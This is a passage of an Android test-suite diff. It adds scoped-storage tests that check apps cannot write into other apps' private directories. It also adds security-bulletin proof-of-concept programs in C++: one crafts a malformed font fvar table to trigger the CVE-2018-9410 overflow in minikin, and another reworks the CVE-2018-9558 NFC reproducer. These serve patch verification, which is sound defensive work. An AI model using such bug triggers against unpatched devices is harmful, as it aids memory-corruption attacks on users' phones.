+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
public void testCheckInstallerAppAccessToObbDirs() throws Exception {
allowAppOps("android:request_install_packages");
grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
diff --git a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
index c602f0ac9c0..c85b0903670 100644
--- a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
@@ -20,6 +20,7 @@
<uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
<application android:requestLegacyExternalStorage="true" >
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index fd83a2ef74f..07383ac7a5c 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -23,7 +23,9 @@ import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
@@ -31,6 +33,7 @@ import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
@@ -38,6 +41,7 @@ import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
@@ -46,8 +50,10 @@ import static android.scopedstorage.cts.lib.TestUtils.insertFile;
import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia;
import static android.scopedstorage.cts.lib.TestUtils.listAs;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
+import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert;
import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert;
@@ -61,6 +67,7 @@ import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPriv
import static androidx.test.InstrumentationRegistry.getContext;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
@@ -128,12 +135,14 @@ public class LegacyStorageTest {
* test runs.
*/
static final String NONCE = String.valueOf(System.nanoTime());
- static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
+ static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
+ static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
+
// The following apps are installed before the tests are run via a target_preparer.
// See test config for details.
// An app with READ_EXTERNAL_STORAGE permission
@@ -343,7 +352,7 @@ public class LegacyStorageTest {
try {
assertThat(newDir.mkdir()).isFalse();
} finally {
- newDir.delete();
+ deleteRecursively(newDir);
}
}
@@ -428,8 +437,8 @@ public class LegacyStorageTest {
pdfFile1.delete();
pdfFile2.delete();
- nonMediaDir1.delete();
- nonMediaDir2.delete();
+ deleteRecursively(nonMediaDir1);
+ deleteRecursively(nonMediaDir2);
}
}
@@ -540,8 +549,8 @@ public class LegacyStorageTest {
// UNIQUE constraint error.
TestUtils.renameWithMediaProvider(directoryOldPath, directoryNewPath);
} finally {
- directoryOldPath.delete();
- directoryNewPath.delete();
+ deleteRecursively(directoryOldPath);
+ deleteRecursively(directoryNewPath);
}
}
@@ -717,7 +726,7 @@ public class LegacyStorageTest {
imageInNoMediaDir.delete();
renamedImageInDCIM.delete();
noMediaFile.delete();
- directoryNoMedia.delete();
+ deleteRecursively(directoryNoMedia);
}
}
@@ -871,6 +880,41 @@ public class LegacyStorageTest {
}
}
+ /**
+ * (b/205673506): Test that legacy System Gallery can update() media file's releative_path to a
+ * non default top level directory.
+ */
+ @Test
+ public void testLegacySystemGalleryCanUpdateToExistingDirectory() throws Exception {
+ pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+ final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ // Top level non default directory
+ final File topLevelTestDirectory = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
+ final File imageFileInTopLevelDir = new File(topLevelTestDirectory, IMAGE_FILE_NAME);
+ try {
+ assertThat(imageFile.createNewFile()).isTrue();
+ final Uri imageUri = MediaStore.scanFile(getContentResolver(), imageFile);
+ assertThat(imageUri).isNotNull();
+
+ topLevelTestDirectory.mkdirs();
+ assertThat(topLevelTestDirectory.exists()).isTrue();
+
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, topLevelTestDirectory.getName());
+ final int result = getContentResolver().update(imageUri, values, Bundle.EMPTY);
+ assertWithMessage("Result of update() from DCIM -> top level test directory")
+ .that(result).isEqualTo(1);
+ assertThat(imageFileInTopLevelDir.exists()).isTrue();
+ } finally {
+ imageFile.delete();
+ imageFileInTopLevelDir.delete();
+ deleteRecursively(topLevelTestDirectory);
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
@Test
public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception {
pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
@@ -958,6 +1002,82 @@ public class LegacyStorageTest {
}
/**
+ * Tests that legacy apps cannot insert in other app private directory
+ */
+ @Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasRW() throws Exception {
+ pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /* granted */ true);
+ pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /* granted */ true);
+
+ assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ }
+
+ /**
+ * Tests that legacy apps cannot update in other app private directory
+ */
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasRW() throws Exception {
+ pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /* granted */ true);
+ pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /* granted */ true);
+
+ TestUtils.assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ }
+
+ /**
+ * Tests that legacy apps with MANAGE_EXTERNAL_STORAGE cannot insert in other app private
+ * directory
+ */
+ @Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasMES() throws Exception {
+ pollForManageExternalStorageAllowed();
+ assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ }
+
+ /**
+ * Tests that legacy apps with MANAGE_EXTERNAL_STORAGE cannot update in other app private
+ * directory
+ */
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasMES() throws Exception {
+ pollForManageExternalStorageAllowed();
+ assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ }
+
+ /**
+ * Tests that legacy System Gallery apps cannot insert in other app private directory
+ */
+ @Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Tests that legacy System Gallery apps cannot update in other app private directory
+ */
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
* Make sure inserting files from app private directories in legacy apps is allowed via DATA.
*/
@Test
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 30683328b35..a04b86fed22 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -16,6 +16,7 @@
package android.scopedstorage.cts.lib;
+import static android.provider.MediaStore.VOLUME_EXTERNAL;
import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY;
import static androidx.test.InstrumentationRegistry.getContext;
@@ -98,6 +99,7 @@ public class TestUtils {
public static final String CREATE_IMAGE_ENTRY_QUERY =
"android.scopedstorage.cts.createimageentry";
public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile";
+ public static final String DELETE_RECURSIVE_QUERY = "android.scopedstorage.cts.deleteRecursive";
public static final String CAN_OPEN_FILE_FOR_READ_QUERY =
"android.scopedstorage.cts.can_openfile_read";
public static final String CAN_OPEN_FILE_FOR_WRITE_QUERY =
@@ -295,6 +297,17 @@ public class TestUtils {
}
/**
+ * Makes the given {@code testApp} delete a file or directory.
+ * If the file is a directory, then deletes all of its children (file or directories)
+ * recursively.
+ *
+ * <p>This method drops shell permission identity.
+ */
+ public static boolean deleteRecursivelyAs(TestApp testApp, String path) throws Exception {
+ return getResultFromTestApp(testApp, path, DELETE_RECURSIVE_QUERY);
+ }
+
+ /**
* Makes the given {@code testApp} delete a file. Doesn't throw in case of failure.
*/
public static boolean deleteFileAsNoThrow(TestApp testApp, String path) {
@@ -950,6 +963,111 @@ public class TestUtils {
}
/**
+ * Assert that app cannot insert files in other app's private directories
+ *
+ * @param fileName name of the file
+ * @param throwsExceptionForDataValue Apps like System Gallery for which Data column is not
+ * respected, will not throw an Exception as the Data value is ignored.
+ * @param otherApp Other test app in whose external private directory we will attempt to insert
+ * @param callingPackageName Calling package name
+ */
+ public static void assertCantInsertToOtherPrivateAppDirectories(String fileName,
+ boolean throwsExceptionForDataValue, TestApp otherApp, String callingPackageName)
+ throws Exception {
+ // Create directory in which the device test will try to insert file to
+ final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+ callingPackageName, otherApp.getPackageName()));
+ final File file = new File(otherAppExternalDataDir, fileName);
+ try {
+ assertThat(createFileAs(otherApp, file.getPath())).isTrue();
+
+ final ContentValues valuesWithData = new ContentValues();
+ valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
+ try {
+ Uri uri = getContentResolver().insert(
+ MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+ valuesWithData);
+
+ if (throwsExceptionForDataValue) {
+ fail("File insert expected to fail: " + file);
+ } else {
+ try (Cursor c = getContentResolver().query(uri, new String[]{
+ MediaStore.MediaColumns.DATA}, null, null)) {
+ assertThat(c.moveToFirst()).isTrue();
+ assertThat(c.getString(0)).isNotEqualTo(file.getAbsolutePath());
+ }
+ }
+ } catch (IllegalArgumentException expected) {
+ }
+
+ final ContentValues valuesWithRelativePath = new ContentValues();
+ final String path = file.getAbsolutePath();
+ valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ path.substring(path.indexOf("Android")));
+ valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName);
+ try {
+ getContentResolver().insert(MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+ valuesWithRelativePath);
+ fail("File insert expected to fail: " + file);
+ } catch (IllegalArgumentException expected) {
+ }
+ } finally {
+ deleteFileAsNoThrow(otherApp, file.getPath());
+ }
+ }
+
+ /**
+ * Assert that app cannot update files in other app's private directories
+ *
+ * @param fileName name of the file
+ * @param throwsExceptionForDataValue Apps like non-legacy System Gallery/MES for which
+ * Data column is not respected, will not throw an Exception as the Data value is ignored.
+ * @param otherApp Other test app in whose external private directory we will attempt to insert
+ * @param callingPackageName Calling package name
+ */
+ public static void assertCantUpdateToOtherPrivateAppDirectories(String fileName,
+ boolean throwsExceptionForDataValue, TestApp otherApp, String callingPackageName)
+ throws Exception {
+ // Create priv-app file and add to the database that we will try to update
+ final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+ callingPackageName, otherApp.getPackageName()));
+ final File file = new File(otherAppExternalDataDir, fileName);
+ try {
+ assertThat(createFileAs(otherApp, file.getPath())).isTrue();
+ MediaStore.scanFile(getContentResolver(), file);
+
+ final ContentValues valuesWithData = new ContentValues();
+ valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
+ try {
+ int res = getContentResolver().update(
+ MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+ valuesWithData, Bundle.EMPTY);
+
+ if (throwsExceptionForDataValue) {
+ fail("File update expected to fail: " + file);
+ } else {
+ assertThat(res).isEqualTo(0);
+ }
+ } catch (IllegalArgumentException expected) {
+ }
+
+ final ContentValues valuesWithRelativePath = new ContentValues();
+ final String path = file.getAbsolutePath();
+ valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ path.substring(path.indexOf("Android")));
+ valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName);
+ try {
+ getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+ valuesWithRelativePath, Bundle.EMPTY);
+ fail("File update expected to fail: " + file);
+ } catch (IllegalArgumentException expected) {
+ }
+ } finally {
+ deleteFileAsNoThrow(otherApp, file.getPath());
+ }
+ }
+
+ /**
* Asserts can rename directory.
*/
public static void assertCanRenameDirectory(File oldDirectory, File newDirectory,
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 814f1a24654..ebc8f1047c1 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -21,6 +21,8 @@ import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdenti
import static android.scopedstorage.cts.lib.TestUtils.assertCanAccessPrivateAppAndroidDataDir;
import static android.scopedstorage.cts.lib.TestUtils.assertCanAccessPrivateAppAndroidObbDir;
import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
@@ -30,6 +32,7 @@ import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs;
import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir;
@@ -142,7 +145,7 @@ public class ScopedStorageTest {
"CtsScopedStorageTestAppB.apk");
// A legacy targeting app with RES and WES permissions
private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
- "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+ "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
@Before
public void setup() throws Exception {
@@ -228,6 +231,28 @@ public class ScopedStorageTest {
});
}
+ /**
+ * Tests that apps with MANAGE_EXTERNAL_STORAGE permission cannot insert files in other app's
+ * private directories.
+ */
+ @Test
+ public void testManageExternalStorageCantInsertFilesInOtherAppPrivateDir() throws Exception {
+ pollForManageExternalStorageAllowed();
+ assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* throwsExceptionForDataValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ }
+
+ /**
+ * Tests that apps with MANAGE_EXTERNAL_STORAGE permission cannot update files in other app's
+ * private directories.
+ */
+ @Test
+ public void testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir() throws Exception {
+ pollForManageExternalStorageAllowed();
+ assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ }
+
@Test
public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
pollForManageExternalStorageAllowed();
@@ -305,7 +330,8 @@ public class ScopedStorageTest {
final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir");
- final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg");
+ final File otherAppExternalDataFile =
+ new File(otherAppExternalDataSubDir, IMAGE_FILE_NAME);
assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath()))
.isTrue();
@@ -495,7 +521,7 @@ public class ScopedStorageTest {
nomediaFile.delete();
mediaFile.delete();
renamedMediaFile.delete();
- nomediaDir.delete();
+ deleteRecursively(nomediaDir);
}
}
@@ -532,8 +558,8 @@ public class ScopedStorageTest {
mediaFile1InSubDir.delete();
mediaFile2InSubDir.delete();
topLevelNomediaFile.delete();
- nomediaSubDir.delete();
- nomediaDir.delete();
+ deleteRecursively(nomediaSubDir);
+ deleteRecursively(nomediaDir);
// Scan the directory to remove stale db rows.
MediaStore.scanFile(getContentResolver(), nomediaDir);
}
@@ -880,8 +906,8 @@ public class ScopedStorageTest {
imageFile.delete();
renamedImageFile.delete();
imageFileInRenamedDir.delete();
- dir.delete();
- renamedDir.delete();
+ deleteRecursively(dir);
+ deleteRecursively(renamedDir);
}
}
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7c486..7770ebde437 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@ java_test_host {
],
// Must match the package name in CtsTestCaseList.mk
libs: [
+ "compatibility-host-util",
"cts-tradefed",
+ "sts-host-util",
"tradefed",
- "compatibility-host-util",
],
}
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 00000000000..d03c2469bad
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 00000000000..21f7d245d99
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
new file mode 100644
index 00000000000..e28a3a76fa1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2018-9410",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libminikin",
+ ],
+ header_libs: [
+ "libminikin-headers-for-tests",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp
new file mode 100644
index 00000000000..a150fd4eaa1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <FontUtils.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using namespace minikin;
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit (EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ uint8_t majorVersion = 1;
+ uint8_t minorVersion = 0;
+ uint8_t axisOffset = 0x10;
+ uint8_t axisCount = 0xFF;
+ uint8_t axisSize = 0x14;
+
+ size_t allocatedSize = sizeof(uint8_t) * 16;
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t* fvarData = (uint8_t*) malloc(allocatedSize);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(fvarData);
+ memset(fvarData, 0x0, allocatedSize);
+
+ fvarData[1] = majorVersion;
+ fvarData[3] = minorVersion;
+ fvarData[5] = axisOffset;
+ fvarData[8] = axisCount;
+ fvarData[9] = axisCount;
+ fvarData[11] = axisSize;
+
+ size_t fvarSize = axisOffset + axisOffset * ((axisCount << 8) | axisCount);
+ std::unordered_set < uint32_t > axes;
+ isTestInProgress = true;
+ analyzeAxes(fvarData, fvarSize, &axes);
+ isTestInProgress = false;
+ free(fvarData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f222d0..e7508298c9c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -20,6 +20,16 @@
#include <nfc_api.h>
#include <rw_int.h>
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
#define INITIAL_VALUE 0xBE
#define NUM_BYTES 1
@@ -33,18 +43,31 @@ void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
}
int main() {
- tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
- rw_init();
- rw_cb.p_cback = &poc_cback;
- p_t2t->state = RW_T2T_STATE_DETECT_TLV;
- p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
- p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
- p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
- p_t2t->bytes_count = NUM_BYTES;
- p_t2t->tlv_value[1] = UINT8_MAX;
- uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
- memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
- uint8_t data[T2T_READ_DATA_LEN];
- rw_t2t_handle_rsp(data);
- return EXIT_SUCCESS;
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = NUM_BYTES;
+ p_t2t->tlv_value[1] = UINT8_MAX;
+ uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+ memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+ uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
+ rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
+ return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
index 2c9502b68aa..78f51bd2e4a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -15,33 +15,28 @@
*
*/
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
